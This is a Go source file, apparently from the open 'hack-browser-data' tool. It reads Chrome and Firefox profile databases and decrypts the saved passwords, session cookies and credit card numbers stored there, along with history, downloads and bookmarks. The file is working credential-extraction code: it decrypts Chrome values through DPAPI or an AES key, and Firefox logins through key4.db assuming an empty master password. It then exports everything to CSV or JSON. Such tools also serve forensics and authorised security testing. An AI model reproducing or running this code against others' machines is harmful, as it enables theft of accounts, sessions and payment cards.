package data
import (
"bytes"
"database/sql"
"encoding/base64"
"io/ioutil"
"os"
"path/filepath"
"sort"
"strings"
"time"
"hack-browser-data/core/decrypt"
"hack-browser-data/pkg/log"
"hack-browser-data/utils"
_ "github.com/mattn/go-sqlite3"
"github.com/tidwall/gjson"
)
type Item interface {
// ChromeParse parse chrome items, Password and Cookie need secret key
ChromeParse ( key [ ] byte ) error
// FirefoxParse parse firefox items
FirefoxParse ( ) error
// OutPut file name and format type
OutPut ( format , browser , dir string ) error
// CopyDB is copy item db file to current dir
CopyDB ( ) error
// Release is delete item db file
Release ( ) error
}
const (
ChromeCreditFile = "Web Data"
ChromePasswordFile = "Login Data"
ChromeHistoryFile = "History"
ChromeDownloadFile = "History"
ChromeCookieFile = "Cookies"
ChromeBookmarkFile = "Bookmarks"
FirefoxCookieFile = "cookies.sqlite"
FirefoxKey4File = "key4.db"
FirefoxLoginFile = "logins.json"
FirefoxDataFile = "places.sqlite"
)
var (
queryChromiumCredit = ` SELECT guid, name_on_card, expiration_month, expiration_year, card_number_encrypted FROM credit_cards `
queryChromiumLogin = ` SELECT origin_url, username_value, password_value, date_created FROM logins `
queryChromiumHistory = ` SELECT url, title, visit_count, last_visit_time FROM urls `
queryChromiumDownload = ` SELECT target_path, tab_url, total_bytes, start_time, end_time, mime_type FROM downloads `
queryChromiumCookie = ` SELECT name, encrypted_value, host_key, path, creation_utc, expires_utc, is_secure, is_httponly, has_expires, is_persistent FROM cookies `
queryFirefoxHistory = ` SELECT id, url, last_visit_date, title, visit_count FROM moz_places `
queryFirefoxDownload = ` SELECT place_id, GROUP_CONCAT(content), url, dateAdded FROM (SELECT * FROM moz_annos INNER JOIN moz_places ON moz_annos.place_id=moz_places.id) t GROUP BY place_id `
queryFirefoxBookMarks = ` SELECT id, url, type, dateAdded, title FROM (SELECT * FROM moz_bookmarks INNER JOIN moz_places ON moz_bookmarks.fk=moz_places.id) `
queryFirefoxCookie = ` SELECT name, value, host, path, creationTime, expiry, isSecure, isHttpOnly FROM moz_cookies `
queryMetaData = ` SELECT item1, item2 FROM metaData WHERE id = 'password' `
queryNssPrivate = ` SELECT a11, a102 from nssPrivate `
closeJournalMode = ` PRAGMA journal_mode=off `
)
const (
bookmarkID = "id"
bookmarkAdded = "date_added"
bookmarkUrl = "url"
bookmarkName = "name"
bookmarkType = "type"
bookmarkChildren = "children"
)
type bookmarks struct {
mainPath string
bookmarks [ ] bookmark
}
func NewBookmarks ( main , sub string ) Item {
return & bookmarks { mainPath : main }
}
func ( b * bookmarks ) ChromeParse ( key [ ] byte ) error {
bookmarks , err := utils . ReadFile ( ChromeBookmarkFile )
if err != nil {
return err
}
r := gjson . Parse ( bookmarks )
if r . Exists ( ) {
roots := r . Get ( "roots" )
roots . ForEach ( func ( key , value gjson . Result ) bool {
getBookmarkChildren ( value , b )
return true
} )
}
return nil
}
func getBookmarkChildren ( value gjson . Result , b * bookmarks ) ( children gjson . Result ) {
nodeType := value . Get ( bookmarkType )
bm := bookmark {
ID : value . Get ( bookmarkID ) . Int ( ) ,
Name : value . Get ( bookmarkName ) . String ( ) ,
URL : value . Get ( bookmarkUrl ) . String ( ) ,
DateAdded : utils . TimeEpochFormat ( value . Get ( bookmarkAdded ) . Int ( ) ) ,
}
children = value . Get ( bookmarkChildren )
if nodeType . Exists ( ) {
bm . Type = nodeType . String ( )
b . bookmarks = append ( b . bookmarks , bm )
if children . Exists ( ) && children . IsArray ( ) {
for _ , v := range children . Array ( ) {
children = getBookmarkChildren ( v , b )
}
}
}
return children
}
func ( b * bookmarks ) FirefoxParse ( ) error {
var (
err error
keyDB * sql . DB
bookmarkRows * sql . Rows
tempMap map [ int64 ] string
bookmarkUrl string
)
keyDB , err = sql . Open ( "sqlite3" , FirefoxDataFile )
if err != nil {
return err
}
defer func ( ) {
if err := keyDB . Close ( ) ; err != nil {
log . Error ( err )
}
} ( )
_ , err = keyDB . Exec ( closeJournalMode )
if err != nil {
log . Error ( err )
}
bookmarkRows , err = keyDB . Query ( queryFirefoxBookMarks )
if err != nil {
return err
}
for bookmarkRows . Next ( ) {
var (
id , bType , dateAdded int64
title , url string
)
err = bookmarkRows . Scan ( & id , & url , & bType , & dateAdded , & title )
if err != nil {
log . Warn ( err )
}
if url , ok := tempMap [ id ] ; ok {
bookmarkUrl = url
}
b . bookmarks = append ( b . bookmarks , bookmark {
ID : id ,
Name : title ,
Type : utils . BookmarkType ( bType ) ,
URL : bookmarkUrl ,
DateAdded : utils . TimeStampFormat ( dateAdded / 1000000 ) ,
} )
}
return nil
}
func ( b * bookmarks ) CopyDB ( ) error {
return copyToLocalPath ( b . mainPath , filepath . Base ( b . mainPath ) )
}
func ( b * bookmarks ) Release ( ) error {
return os . Remove ( filepath . Base ( b . mainPath ) )
}
func ( b * bookmarks ) OutPut ( format , browser , dir string ) error {
sort . Slice ( b . bookmarks , func ( i , j int ) bool {
return b . bookmarks [ i ] . ID < b . bookmarks [ j ] . ID
} )
switch format {
case "csv" :
err := b . outPutCsv ( browser , dir )
return err
case "console" :
b . outPutConsole ( )
return nil
default :
err := b . outPutJson ( browser , dir )
return err
}
}
type cookies struct {
mainPath string
cookies map [ string ] [ ] cookie
}
func NewCookies ( main , sub string ) Item {
return & cookies { mainPath : main }
}
func ( c * cookies ) ChromeParse ( secretKey [ ] byte ) error {
c . cookies = make ( map [ string ] [ ] cookie )
cookieDB , err := sql . Open ( "sqlite3" , ChromeCookieFile )
if err != nil {
return err
}
defer func ( ) {
if err := cookieDB . Close ( ) ; err != nil {
log . Debug ( err )
}
} ( )
rows , err := cookieDB . Query ( queryChromiumCookie )
if err != nil {
return err
}
defer func ( ) {
if err := rows . Close ( ) ; err != nil {
log . Debug ( err )
}
} ( )
for rows . Next ( ) {
var (
key , host , path string
isSecure , isHTTPOnly , hasExpire , isPersistent int
createDate , expireDate int64
value , encryptValue [ ] byte
)
err = rows . Scan ( & key , & encryptValue , & host , & path , & createDate , & expireDate , & isSecure , & isHTTPOnly , & hasExpire , & isPersistent )
if err != nil {
log . Error ( err )
}
cookie := cookie {
KeyName : key ,
Host : host ,
Path : path ,
encryptValue : encryptValue ,
IsSecure : utils . IntToBool ( isSecure ) ,
IsHTTPOnly : utils . IntToBool ( isHTTPOnly ) ,
HasExpire : utils . IntToBool ( hasExpire ) ,
IsPersistent : utils . IntToBool ( isPersistent ) ,
CreateDate : utils . TimeEpochFormat ( createDate ) ,
ExpireDate : utils . TimeEpochFormat ( expireDate ) ,
}
// remove 'v10'
if secretKey == nil {
value , err = decrypt . DPApi ( encryptValue )
} else {
value , err = decrypt . ChromePass ( secretKey , encryptValue )
}
if err != nil {
log . Debug ( err )
}
cookie . Value = string ( value )
c . cookies [ host ] = append ( c . cookies [ host ] , cookie )
}
return nil
}
func ( c * cookies ) FirefoxParse ( ) error {
c . cookies = make ( map [ string ] [ ] cookie )
cookieDB , err := sql . Open ( "sqlite3" , FirefoxCookieFile )
if err != nil {
return err
}
defer func ( ) {
if err := cookieDB . Close ( ) ; err != nil {
log . Debug ( err )
}
} ( )
rows , err := cookieDB . Query ( queryFirefoxCookie )
if err != nil {
return err
}
defer func ( ) {
if err := rows . Close ( ) ; err != nil {
log . Debug ( err )
}
} ( )
for rows . Next ( ) {
var (
name , value , host , path string
isSecure , isHttpOnly int
creationTime , expiry int64
)
err = rows . Scan ( & name , & value , & host , & path , & creationTime , & expiry , & isSecure , & isHttpOnly )
if err != nil {
log . Error ( err )
}
c . cookies [ host ] = append ( c . cookies [ host ] , cookie {
KeyName : name ,
Host : host ,
Path : path ,
IsSecure : utils . IntToBool ( isSecure ) ,
IsHTTPOnly : utils . IntToBool ( isHttpOnly ) ,
CreateDate : utils . TimeStampFormat ( creationTime / 1000000 ) ,
ExpireDate : utils . TimeStampFormat ( expiry ) ,
Value : value ,
} )
}
return nil
}
func ( c * cookies ) CopyDB ( ) error {
return copyToLocalPath ( c . mainPath , filepath . Base ( c . mainPath ) )
}
func ( c * cookies ) Release ( ) error {
return os . Remove ( filepath . Base ( c . mainPath ) )
}
func ( c * cookies ) OutPut ( format , browser , dir string ) error {
switch format {
case "csv" :
err := c . outPutCsv ( browser , dir )
return err
case "console" :
c . outPutConsole ( )
return nil
default :
err := c . outPutJson ( browser , dir )
return err
}
}
type historyData struct {
mainPath string
history [ ] history
}
func NewHistoryData ( main , sub string ) Item {
return & historyData { mainPath : main }
}
func ( h * historyData ) ChromeParse ( key [ ] byte ) error {
historyDB , err := sql . Open ( "sqlite3" , ChromeHistoryFile )
if err != nil {
return err
}
defer func ( ) {
if err := historyDB . Close ( ) ; err != nil {
log . Error ( err )
}
} ( )
rows , err := historyDB . Query ( queryChromiumHistory )
if err != nil {
return err
}
defer func ( ) {
if err := rows . Close ( ) ; err != nil {
log . Debug ( err )
}
} ( )
for rows . Next ( ) {
var (
url , title string
visitCount int
lastVisitTime int64
)
err := rows . Scan ( & url , & title , & visitCount , & lastVisitTime )
data := history {
Url : url ,
Title : title ,
VisitCount : visitCount ,
LastVisitTime : utils . TimeEpochFormat ( lastVisitTime ) ,
}
if err != nil {
log . Error ( err )
}
h . history = append ( h . history , data )
}
return nil
}
func ( h * historyData ) FirefoxParse ( ) error {
var (
err error
keyDB * sql . DB
historyRows * sql . Rows
tempMap map [ int64 ] string
)
tempMap = make ( map [ int64 ] string )
keyDB , err = sql . Open ( "sqlite3" , FirefoxDataFile )
if err != nil {
return err
}
_ , err = keyDB . Exec ( closeJournalMode )
if err != nil {
log . Error ( err )
}
defer func ( ) {
if err := keyDB . Close ( ) ; err != nil {
log . Error ( err )
}
} ( )
historyRows , err = keyDB . Query ( queryFirefoxHistory )
if err != nil {
log . Error ( err )
return err
}
defer func ( ) {
if err := historyRows . Close ( ) ; err != nil {
log . Error ( err )
}
} ( )
for historyRows . Next ( ) {
var (
id , visitDate int64
url , title string
visitCount int
)
err = historyRows . Scan ( & id , & url , & visitDate , & title , & visitCount )
if err != nil {
log . Warn ( err )
}
h . history = append ( h . history , history {
Title : title ,
Url : url ,
VisitCount : visitCount ,
LastVisitTime : utils . TimeStampFormat ( visitDate / 1000000 ) ,
} )
tempMap [ id ] = url
}
return nil
}
func ( h * historyData ) CopyDB ( ) error {
return copyToLocalPath ( h . mainPath , filepath . Base ( h . mainPath ) )
}
func ( h * historyData ) Release ( ) error {
return os . Remove ( filepath . Base ( h . mainPath ) )
}
func ( h * historyData ) OutPut ( format , browser , dir string ) error {
sort . Slice ( h . history , func ( i , j int ) bool {
return h . history [ i ] . VisitCount > h . history [ j ] . VisitCount
} )
switch format {
case "csv" :
err := h . outPutCsv ( browser , dir )
return err
case "console" :
h . outPutConsole ( )
return nil
default :
err := h . outPutJson ( browser , dir )
return err
}
}
type downloads struct {
mainPath string
downloads [ ] download
}
func NewDownloads ( main , sub string ) Item {
return & downloads { mainPath : main }
}
func ( d * downloads ) ChromeParse ( key [ ] byte ) error {
historyDB , err := sql . Open ( "sqlite3" , ChromeDownloadFile )
if err != nil {
return err
}
defer func ( ) {
if err := historyDB . Close ( ) ; err != nil {
log . Error ( err )
}
} ( )
rows , err := historyDB . Query ( queryChromiumDownload )
if err != nil {
return err
}
defer func ( ) {
if err := rows . Close ( ) ; err != nil {
log . Error ( err )
}
} ( )
for rows . Next ( ) {
var (
targetPath , tabUrl , mimeType string
totalBytes , startTime , endTime int64
)
err := rows . Scan ( & targetPath , & tabUrl , & totalBytes , & startTime , & endTime , & mimeType )
data := download {
TargetPath : targetPath ,
Url : tabUrl ,
TotalBytes : totalBytes ,
StartTime : utils . TimeEpochFormat ( startTime ) ,
EndTime : utils . TimeEpochFormat ( endTime ) ,
MimeType : mimeType ,
}
if err != nil {
log . Error ( err )
}
d . downloads = append ( d . downloads , data )
}
return nil
}
func ( d * downloads ) FirefoxParse ( ) error {
var (
err error
keyDB * sql . DB
downloadRows * sql . Rows
tempMap map [ int64 ] string
)
tempMap = make ( map [ int64 ] string )
keyDB , err = sql . Open ( "sqlite3" , FirefoxDataFile )
if err != nil {
return err
}
_ , err = keyDB . Exec ( closeJournalMode )
if err != nil {
log . Error ( err )
}
defer func ( ) {
if err := keyDB . Close ( ) ; err != nil {
log . Error ( err )
}
} ( )
downloadRows , err = keyDB . Query ( queryFirefoxDownload )
if err != nil {
log . Error ( err )
return err
}
defer func ( ) {
if err := downloadRows . Close ( ) ; err != nil {
log . Error ( err )
}
} ( )
for downloadRows . Next ( ) {
var (
content , url string
placeID , dateAdded int64
)
err = downloadRows . Scan ( & placeID , & content , & url , & dateAdded )
if err != nil {
log . Warn ( err )
}
contentList := strings . Split ( content , ",{" )
if len ( contentList ) > 1 {
path := contentList [ 0 ]
json := "{" + contentList [ 1 ]
endTime := gjson . Get ( json , "endTime" )
fileSize := gjson . Get ( json , "fileSize" )
d . downloads = append ( d . downloads , download {
TargetPath : path ,
Url : url ,
TotalBytes : fileSize . Int ( ) ,
StartTime : utils . TimeStampFormat ( dateAdded / 1000000 ) ,
EndTime : utils . TimeStampFormat ( endTime . Int ( ) / 1000 ) ,
} )
}
tempMap [ placeID ] = url
}
return nil
}
func ( d * downloads ) CopyDB ( ) error {
return copyToLocalPath ( d . mainPath , filepath . Base ( d . mainPath ) )
}
func ( d * downloads ) Release ( ) error {
return os . Remove ( filepath . Base ( d . mainPath ) )
}
func ( d * downloads ) OutPut ( format , browser , dir string ) error {
switch format {
case "csv" :
err := d . outPutCsv ( browser , dir )
return err
case "console" :
d . outPutConsole ( )
return nil
default :
err := d . outPutJson ( browser , dir )
return err
}
}
type passwords struct {
mainPath string
subPath string
logins [ ] loginData
}
func NewFPasswords ( main , sub string ) Item {
return & passwords { mainPath : main , subPath : sub }
}
func NewCPasswords ( main , sub string ) Item {
return & passwords { mainPath : main }
}
func ( p * passwords ) ChromeParse ( key [ ] byte ) error {
loginDB , err := sql . Open ( "sqlite3" , ChromePasswordFile )
if err != nil {
return err
}
defer func ( ) {
if err := loginDB . Close ( ) ; err != nil {
log . Debug ( err )
}
} ( )
rows , err := loginDB . Query ( queryChromiumLogin )
if err != nil {
return err
}
defer func ( ) {
if err := rows . Close ( ) ; err != nil {
log . Debug ( err )
}
} ( )
for rows . Next ( ) {
var (
url , username string
pwd , password [ ] byte
create int64
)
err = rows . Scan ( & url , & username , & pwd , & create )
if err != nil {
log . Error ( err )
}
login := loginData {
UserName : username ,
encryptPass : pwd ,
LoginUrl : url ,
}
if key == nil {
password , err = decrypt . DPApi ( pwd )
} else {
password , err = decrypt . ChromePass ( key , pwd )
}
if err != nil {
log . Debugf ( "%s have empty password %s" , login . LoginUrl , err . Error ( ) )
}
if create > time . Now ( ) . Unix ( ) {
login . CreateDate = utils . TimeEpochFormat ( create )
} else {
login . CreateDate = utils . TimeStampFormat ( create )
}
login . Password = string ( password )
p . logins = append ( p . logins , login )
}
return nil
}
func ( p * passwords ) FirefoxParse ( ) error {
globalSalt , metaBytes , nssA11 , nssA102 , err := getFirefoxDecryptKey ( )
if err != nil {
return err
}
keyLin := [ ] byte { 248 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 1 }
metaPBE , err := decrypt . NewASN1PBE ( metaBytes )
if err != nil {
log . Error ( "decrypter meta data failed" , err )
return err
}
// default master password is empty
var masterPwd [ ] byte
k , err := metaPBE . Decrypt ( globalSalt , masterPwd )
if err != nil {
log . Error ( "decrypter firefox meta bytes failed" , err )
return err
}
if bytes . Contains ( k , [ ] byte ( "password-check" ) ) {
log . Debug ( "password-check success" )
m := bytes . Compare ( nssA102 , keyLin )
if m == 0 {
nssPBE , err := decrypt . NewASN1PBE ( nssA11 )
if err != nil {
log . Error ( "decode firefox nssA11 bytes failed" , err )
return err
}
finallyKey , err := nssPBE . Decrypt ( globalSalt , masterPwd )
finallyKey = finallyKey [ : 24 ]
if err != nil {
log . Error ( "get firefox finally key failed" )
return err
}
allLogins , err := getFirefoxLoginData ( )
if err != nil {
return err
}
for _ , v := range allLogins {
userPBE , err := decrypt . NewASN1PBE ( v . encryptUser )
if err != nil {
log . Error ( "decode firefox user bytes failed" , err )
}
pwdPBE , err := decrypt . NewASN1PBE ( v . encryptPass )
if err != nil {
log . Error ( "decode firefox password bytes failed" , err )
}
user , err := userPBE . Decrypt ( finallyKey , masterPwd )
if err != nil {
log . Error ( err )
}
pwd , err := pwdPBE . Decrypt ( finallyKey , masterPwd )
if err != nil {
log . Error ( err )
}
log . Debug ( "decrypter firefox success" )
p . logins = append ( p . logins , loginData {
LoginUrl : v . LoginUrl ,
UserName : string ( decrypt . PKCS5UnPadding ( user ) ) ,
Password : string ( decrypt . PKCS5UnPadding ( pwd ) ) ,
CreateDate : v . CreateDate ,
} )
}
}
}
return nil
}
func ( p * passwords ) CopyDB ( ) error {
err := copyToLocalPath ( p . mainPath , filepath . Base ( p . mainPath ) )
if err != nil {
log . Error ( err )
}
if p . subPath != "" {
err = copyToLocalPath ( p . subPath , filepath . Base ( p . subPath ) )
}
return err
}
func ( p * passwords ) Release ( ) error {
err := os . Remove ( filepath . Base ( p . mainPath ) )
if err != nil {
log . Error ( err )
}
if p . subPath != "" {
err = os . Remove ( filepath . Base ( p . subPath ) )
}
return err
}
func ( p * passwords ) OutPut ( format , browser , dir string ) error {
sort . Sort ( p )
switch format {
case "csv" :
err := p . outPutCsv ( browser , dir )
return err
case "console" :
p . outPutConsole ( )
return nil
default :
err := p . outPutJson ( browser , dir )
return err
}
}
type creditCards struct {
mainPath string
cards map [ string ] [ ] card
}
func NewCCards ( main string , sub string ) Item {
return & creditCards { mainPath : main }
}
func ( c * creditCards ) FirefoxParse ( ) error {
return nil // FireFox does not have a credit card saving feature
}
func ( c * creditCards ) ChromeParse ( secretKey [ ] byte ) error {
c . cards = make ( map [ string ] [ ] card )
creditDB , err := sql . Open ( "sqlite3" , ChromeCreditFile )
if err != nil {
return err
}
defer func ( ) {
if err := creditDB . Close ( ) ; err != nil {
log . Debug ( err )
}
} ( )
rows , err := creditDB . Query ( queryChromiumCredit )
if err != nil {
return err
}
defer func ( ) {
if err := rows . Close ( ) ; err != nil {
log . Debug ( err )
}
} ( )
for rows . Next ( ) {
var (
name , month , year , guid string
value , encryptValue [ ] byte
)
err := rows . Scan ( & guid , & name , & month , & year , & encryptValue )
if err != nil {
log . Error ( err )
}
creditCardInfo := card {
GUID : guid ,
Name : name ,
ExpirationMonth : month ,
ExpirationYear : year ,
}
if secretKey == nil {
value , err = decrypt . DPApi ( encryptValue )
} else {
value , err = decrypt . ChromePass ( secretKey , encryptValue )
}
if err != nil {
log . Debug ( err )
}
creditCardInfo . CardNumber = string ( value )
c . cards [ guid ] = append ( c . cards [ guid ] , creditCardInfo )
}
return nil
}
func ( c * creditCards ) CopyDB ( ) error {
return copyToLocalPath ( c . mainPath , filepath . Base ( c . mainPath ) )
}
func ( c * creditCards ) Release ( ) error {
return os . Remove ( filepath . Base ( c . mainPath ) )
}
func ( c * creditCards ) OutPut ( format , browser , dir string ) error {
switch format {
case "csv" :
err := c . outPutCsv ( browser , dir )
return err
case "console" :
c . outPutConsole ( )
return nil
default :
err := c . outPutJson ( browser , dir )
return err
}
}
// getFirefoxDecryptKey get value from key4.db
func getFirefoxDecryptKey ( ) ( item1 , item2 , a11 , a102 [ ] byte , err error ) {
var (
keyDB * sql . DB
pwdRows * sql . Rows
nssRows * sql . Rows
)
keyDB , err = sql . Open ( "sqlite3" , FirefoxKey4File )
if err != nil {
log . Error ( err )
return nil , nil , nil , nil , err
}
defer func ( ) {
if err := keyDB . Close ( ) ; err != nil {
log . Error ( err )
}
} ( )
pwdRows , err = keyDB . Query ( queryMetaData )
defer func ( ) {
if err := pwdRows . Close ( ) ; err != nil {
log . Debug ( err )
}
} ( )
for pwdRows . Next ( ) {
if err := pwdRows . Scan ( & item1 , & item2 ) ; err != nil {
log . Error ( err )
continue
}
}
if err != nil {
log . Error ( err )
}
nssRows , err = keyDB . Query ( queryNssPrivate )
defer func ( ) {
if err := nssRows . Close ( ) ; err != nil {
log . Debug ( err )
}
} ( )
for nssRows . Next ( ) {
if err := nssRows . Scan ( & a11 , & a102 ) ; err != nil {
log . Debug ( err )
}
}
return item1 , item2 , a11 , a102 , nil
}
// getFirefoxLoginData use to get firefox
func getFirefoxLoginData ( ) ( l [ ] loginData , err error ) {
s , err := ioutil . ReadFile ( FirefoxLoginFile )
if err != nil {
return nil , err
}
h := gjson . GetBytes ( s , "logins" )
if h . Exists ( ) {
for _ , v := range h . Array ( ) {
var (
m loginData
u [ ] byte
p [ ] byte
)
m . LoginUrl = v . Get ( "formSubmitURL" ) . String ( )
u , err = base64 . StdEncoding . DecodeString ( v . Get ( "encryptedUsername" ) . String ( ) )
m . encryptUser = u
if err != nil {
log . Debug ( err )
}
p , err = base64 . StdEncoding . DecodeString ( v . Get ( "encryptedPassword" ) . String ( ) )
m . encryptPass = p
m . CreateDate = utils . TimeStampFormat ( v . Get ( "timeCreated" ) . Int ( ) / 1000 )
l = append ( l , m )
}
}
return
}
type (
loginData struct {
UserName string
encryptPass [ ] byte
encryptUser [ ] byte
Password string
LoginUrl string
CreateDate time . Time
}
bookmark struct {
ID int64
Name string
Type string
URL string
DateAdded time . Time
}
cookie struct {
Host string
Path string
KeyName string
encryptValue [ ] byte
Value string
IsSecure bool
IsHTTPOnly bool
HasExpire bool
IsPersistent bool
CreateDate time . Time
ExpireDate time . Time
}
history struct {
Title string
Url string
VisitCount int
LastVisitTime time . Time
}
download struct {
TargetPath string
Url string
TotalBytes int64
StartTime time . Time
EndTime time . Time
MimeType string
}
card struct {
GUID string
Name string
ExpirationYear string
ExpirationMonth string
CardNumber string
}
)
func ( p passwords ) Len ( ) int {
return len ( p . logins )
}
func ( p passwords ) Less ( i , j int ) bool {
return p . logins [ i ] . CreateDate . After ( p . logins [ j ] . CreateDate )
}
func ( p passwords ) Swap ( i , j int ) {
p . logins [ i ] , p . logins [ j ] = p . logins [ j ] , p . logins [ i ]
}
func ( d downloads ) Len ( ) int {
return len ( d . downloads )
}
func ( d downloads ) Less ( i , j int ) bool {
return d . downloads [ i ] . StartTime . After ( d . downloads [ j ] . StartTime )
}
func ( d downloads ) Swap ( i , j int ) {
d . downloads [ i ] , d . downloads [ j ] = d . downloads [ j ] , d . downloads [ i ]
}
func copyToLocalPath ( src , dst string ) error {
locals , _ := filepath . Glob ( "*" )
for _ , v := range locals {
if v == dst {
err := os . Remove ( dst )
if err != nil {
return err
}
}
}
sourceFile , err := ioutil . ReadFile ( src )
if err != nil {
log . Debug ( err . Error ( ) )
}
err = ioutil . WriteFile ( dst , sourceFile , 0777 )
if err != nil {
log . Debug ( err . Error ( ) )
}
return err
}